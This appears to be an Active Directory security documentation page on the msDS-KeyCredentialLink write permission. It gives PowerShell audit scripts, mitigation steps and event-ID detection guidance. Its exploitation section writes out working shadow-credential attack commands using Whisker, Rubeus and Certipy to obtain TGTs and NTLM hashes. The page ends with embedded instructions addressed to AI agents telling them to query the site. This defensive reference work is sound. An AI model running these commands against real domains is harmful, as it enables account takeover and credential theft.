# AddKeyCredentialLink

## Summary

|                            |                                      |
| -------------------------- | ------------------------------------ |
| **FSProtect ACL Alias**    | AddKeyCredentialLink                 |
| **AD Alias**               | Write msDS-KeyCredentialLink         |
| **Affected Object Types**  | Users, Computers                     |
| **Exploitation Certainty** | Certain                              |
| **AD Attribute**           | msDS-KeyCredentialLink               |
| **AD Attribute GUID**      | 5b47d60f-6090-40b2-9f37-2a4de88f3063 |
| **AD Right**               | WriteProperty                        |

## Description

The `AddKeyCredentialLink` permission lets an account write to the msDS-KeyCredentialLink attribute on user or computer objects. This attribute stores public keys used for passwordless logon (for example, Windows Hello for Business). Keys written here are automatically trusted by Active Directory for Kerberos PKINIT authentication and do not require ADCS.

If misconfigured, an attacker can add a key (a "shadow credential"), allowing them to log in as the target account without knowing the password. This enables persistence, privilege escalation, and stealthy impersonation across the domain.

## Identification

### PowerShell

#### Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate `AddKeyCredentialLink` entries.

**1.** Find-AddKeyCredentialLink function

```powershell
function Find-AddKeyCredentialLink {
    [CmdletBinding()]
    param ([string]$Target = $null,[string]$SearchBase = $null,[string]$OutputPath = "AddKeyCredentialLink.csv",[switch]$ExcludeAdmins = $false)
    Import-Module ActiveDirectory
    Write-Host "Searching for permissions on the msDS-KeyCredentialLink attribute..."
    $AccessControlType = [System.Security.AccessControl.AccessControlType]::Allow;$ActiveDirectoryRights = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
    $KeyCredendialLinkGuid = "5b47d60f-6090-40b2-9f37-2a4de88f3063";$ExcludedSIDs = @()
    if ($ExcludeAdmins) {
        Write-Host "Excluding default administrative groups and built-in accounts."
        $ExcludedSIDs += (New-Object System.Security.Principal.NTAccount "NT AUTHORITY\SYSTEM").Translate([System.Security.Principal.SecurityIdentifier]),
        (New-Object System.Security.Principal.NTAccount "NT AUTHORITY\SELF").Translate([System.Security.Principal.SecurityIdentifier]),
        (New-Object System.Security.Principal.NTAccount "BUILTIN\Account Operators").Translate([System.Security.Principal.SecurityIdentifier]),
        (New-Object System.Security.Principal.NTAccount "BUILTIN\Administrators").Translate([System.Security.Principal.SecurityIdentifier]),
        (New-Object System.Security.Principal.NTAccount "NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS").Translate([System.Security.Principal.SecurityIdentifier])
        $ExcludedSIDs += [System.Security.Principal.SecurityIdentifier]::new("S-1-3-0")
        try {
            $ExcludedSIDs += (Get-ADGroup -Identity "Domain Admins").SID;$ExcludedSIDs += (Get-ADGroup -Identity "Enterprise Admins").SID
            $ExcludedSIDs += (Get-ADGroup -Identity "Schema Admins").SID;$ExcludedSIDs += (Get-ADGroup -Identity "Cert Publishers").SID
            $ExcludedSIDs += (Get-ADGroup -Identity "Group Policy Creator Owners").SID;$ExcludedSIDs += (Get-ADGroup -Identity "Domain Controllers").SID
            $ExcludedSIDs += (Get-ADGroup -Identity "Key Admins").SID;$ExcludedSIDs += (Get-ADGroup -Identity "Enterprise Key Admins").SID
            $ExcludedSIDs += (Get-ADGroup -Identity "DnsAdmins").SID;$ExcludedSIDs += (Get-ADGroup -Identity "RAS and IAS Servers").SID
        }catch {Write-Warning "Could not resolve one or more default domain admin groups. They might not be filtered from results."}}
    $foundAcls = @();$objectsToScan = @()
    try {
        if ($Target) {
            Write-Host "Searching for permissions on specific object: '$Target'."
            $specificObject = Get-ADObject -Identity $Target -Properties nTSecurityDescriptor -ErrorAction Stop
            if ($specificObject) {$objectsToScan += $specificObject} else {
                Write-Output "Object '$Target' not found."
                return}} else {
            Write-Host "Searching for all Active Directory objects."
            $actualSearchBase = if ($SearchBase) { $SearchBase } else { (Get-ADRootDSE).DefaultNamingContext }
            $objectsToScan = Get-ADObject -Filter '*' -SearchBase $actualSearchBase -ErrorAction Stop}
        if (-not $objectsToScan) { Write-Output "No Active Directory objects were found to scan.";return}
        foreach ($obj in $objectsToScan) {
            $ObjectDistinguishedName = $obj.DistinguishedName
            try {$acl = Get-Acl -Path "AD:$ObjectDistinguishedName"
                foreach ($ace in $acl.Access) {
                    $isExcluded = $false
                    if ($ExcludeAdmins) {
                        try {
                            if ($ExcludedSIDs -contains $ace.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier])) {
                                $isExcluded = $true}}catch {Write-Warning "Could not translate SID for exclusion check: $($ace.IdentityReference.Value). Error: $($_.Exception.Message)"}}
                    if ($ace.AccessControlType -eq $AccessControlType -and ($ace.ActiveDirectoryRights -band $ActiveDirectoryRights) -and ($ace.ObjectType -eq $KeyCredendialLinkGuid) -and -not $ace.IsInherited -and -not $isExcluded) {
                        $foundAcls += [PSCustomObject]@{
                            'Vulnerable Object' = $ObjectDistinguishedName
                            'Internal Threat'   = $ace.IdentityReference.Value }}}}
            catch {Write-Warning "Could not retrieve ACL for '$ObjectDistinguishedName': $($_.Exception.Message)"}}}catch {Write-Error "Failed to retrieve Active Directory objects: $($_.Exception.Message)"; return}
    if ($foundAcls.Count -gt 0) {$exclusionMessage = if ($ExcludeAdmins) { " (excluding default admin groups and built-in accounts)" } else { "" }
        Write-Host "Found $($foundAcls.Count) Active Directory object(s) with 'WriteProperty' permissions on the `msDS-KeyCredentialLink` attribute$exclusionMessage."
        try {$foundAcls | Sort-Object -Unique 'Vulnerable Object', 'Internal Threat' | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8;Write-Output "Results exported successfully to '$OutputPath'"}catch {Write-Error "Failed to export results to CSV file '$OutputPath': $($_.Exception.Message)"}} else {$exclusionMessage = if ($ExcludeAdmins) { " (excluding default admin groups and built-in accounts)" } else { "" };Write-Output "No Active Directory objects found with 'WriteProperty' permissions on the `msDS-KeyCredentialLink` attribute$exclusionMessage."}}
```

**2.** Scan all objects in the domain

```powershell
Find-AddKeyCredentialLink
```

**3.** Scan a specific object

```powershell
Find-AddKeyCredentialLink -Target 'CN=VM01,OU=Workstations,DC=forestall,DC=labs'
```

**4.** To exclude default admins acls for better vision

```powershell
Find-AddKeyCredentialLink -ExcludeAdmins
```

**5.** Using `SearchBase` to limit the searching scope

```powershell
Find-AddKeyCredentialLink -SearchBase "OU=Workstations,DC=forestall,DC=labs"
```

#### .NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate `AddKeyCredentialLink` entries without relying on any external modules or dependencies.

**1.** Find-AddKeyCredentialLinkSimple function

```powershell
function Find-AddKeyCredentialLinkSimple {
    [CmdletBinding()]
    param([string]$Target)
    $attrGuid = [guid]"5b47d60f-6090-40b2-9f37-2a4de88f3063"
    $allow    = [System.Security.AccessControl.AccessControlType]::Allow;$wrProp   = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
    if ($Target) {
        try { $entries = @([System.DirectoryServices.DirectoryEntry]::new("LDAP://$Target"))} catch {Write-Error "Failed to bind '$Target' : $_";return}
    }
    else {
        try {
            $root   = [ADSI]"LDAP://RootDSE";$baseDN = $root.defaultNamingContext
            $srchRoot = [System.DirectoryServices.DirectoryEntry]::new("LDAP://$baseDN");$ds = [System.DirectoryServices.DirectorySearcher]::new($srchRoot)
            $ds.Filter = "(objectClass=*)";$ds.PageSize = 1000
            [void]$ds.PropertiesToLoad.Add("distinguishedName");$hits = $ds.FindAll()
            $entries = foreach ($h in $hits) {try { $h.GetDirectoryEntry() } catch { continue }}
        } catch {Write-Error "Directory search failed: $_";return}}
    $results = foreach ($e in $entries) {
        $dn = $e.distinguishedName
        try {$aces = $e.ObjectSecurity.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier])} catch {continue}
        foreach ($ace in $aces) {
            if ($ace.AccessControlType -ne $allow) { continue };if (-not ($ace.ActiveDirectoryRights -band $wrProp)) { continue }
            if ($ace.ObjectType -ne $attrGuid) { continue };if ($ace.IsInherited) { continue }
            $who = try {$ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value} catch {$ace.IdentityReference.Value}
            [PSCustomObject]@{
                ObjectDN  = $dn.ToString()
                Principal = $who
                Right     = "WriteProperty(msDS-KeyCredentialLink)"}}}
    if ($results) {$results | Sort-Object ObjectDN, Principal | Export-Csv -Path "AddCredentialKey.csv" -NoTypeInformation -Encoding UTF8;
    } else {if ($Target) {Write-Host "No explicit WriteProperty(msDS-KeyCredentialLink) found on: $Target"} else {Write-Host "No explicit WriteProperty(msDS-KeyCredentialLink) found in directory search."}}}
```

**2.** Scan all objects in the domain

```powershell
Find-AddKeyCredentialLinkSimple
```

**3.** Scan a specific object

```powershell
Find-AddKeyCredentialLinkSimple -Target "CN=VM01,OU=Workstations,DC=forestall,DC=labs"
```

### Active Directory Users and Computers

**1.** Open `Active Directory Users and Computers` on your Windows server.

**2.** Right-click on the object name.

**3.** Select Properties from the context menu.

**4.** In the Properties window, navigate to the Security tab.

**5.** Click on the Advanced button to open the Advanced Security Settings dialog.

**6.** In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.

**7.** Click Edit to modify the selected ACE.

**8.** In the permissions list, locate and check the option `Write msDS-KeyCredentialLink`.

**9.** Click OK to save your changes and close the dialogs.

![ADUC](/files/df67PWp9gV0HwcTDal6V)

## Exploitation

This permission can be exploited on Windows systems with `Whisker`, while on Linux systems, tools such as `Certipy` can be effectively used for exploitation.

### Windows

An attacker can write the `msDS-KeyCredentialLink` attribute value on an object using this tool on Windows.

```powershell
.\whisker.exe add /target:<Vulnerable Object>
```

Example:

```powershell
.\Whisker.exe add /target:william
```

![alt text](/files/wSNz6BqpqwzJhUzZry5g)

Use the certificate produced by Whisker with Rubeus to request a TGT for the vulnerable user. Rubeus can also return the user’s NTLM hash for pass-the-hash attacks.

```powershell
Rubeus.exe asktgt /user:<Vulnerable User> /certificate:<Certificate by provided Whisker> /password:<Password by provided Whisker> /domain:<Domain FQDN> /dc:<Domain Controller Address> /getcredentials /show
```

Example:

```powershell
.\Rubeus.exe asktgt /user:william /certificate:MII[snip..]A= /password:"0VMgXyf0MVHtlMz7" /domain:Forestall.labs /dc:DC.Forestall.labs /getcredentials /show /enctype:aes128
```

![Get NT Hash using Rubeus](/files/H9ptDU228sXo9qFpul81)

The output of the Rubeus command is lengthy, but the key information is:

1. The first part provides the TGT in .kirbi format.
2. The second part displays the NTLM hash of the target user.

![Ntlm](/files/0CxsP9CxdTupumTk0Fa4)

### Linux

An attacker with control over the msDS-KeyCredentialLink attribute can use Certipy on Linux to obtain the NT hash and TGT.

```bash
certipy shadow auto -u '<Vulnerable User name>@<Domain FQDN>' -p '<Attacker/Internal Thread password>' -account '<Attacker/Internal Thread>'
```

Example:

```bash
certipy-ad shadow auto  -u adam@forestall.labs -p 'Temp123!' -account william
```

![Getting NtHash using certipy](/files/O6mlW7pqoxMkyREOF1Qq)

## Mitigation

Dangerous Access Control Entries should be removed using the steps below.

**1.** Open `Active Directory Users and Computers` and enable the `Advanced Features` option.

**2.** Double-click the affected object and open the `Security` tab.

**3.** In the Security tab, click the `Advanced` button, locate the dangerous Access Control Entry, and select it.

**4.** Remove the `Write msDS-KeyCredentialLink` permission.

**5.** Click OK and Apply to save your changes.

![ADUC](/files/df67PWp9gV0HwcTDal6V)

## Detection

Adding or modifying Access Control Entries on Active Directory objects changes the `nTSecurityDescriptor` attribute of those objects. These changes can be detected using Windows event IDs 5136 and 4662, which can help identify dangerous modifications.

| Event ID | Description                              | Fields/Attributes      | References                                                                                 |
| -------- | ---------------------------------------- | ---------------------- | ------------------------------------------------------------------------------------------ |
| 5136     | A directory service object was modified. | ntSecurityDescriptor   | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136> |
| 4662     | An operation was performed on an object. | AccessList, AccessMask | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662> |

## References

* [Shadow Credentials - ired.team](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials)
* [Shadow Credentials - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials)
* [Shadow Credentials - HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/ad/addkeycredentiallink.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
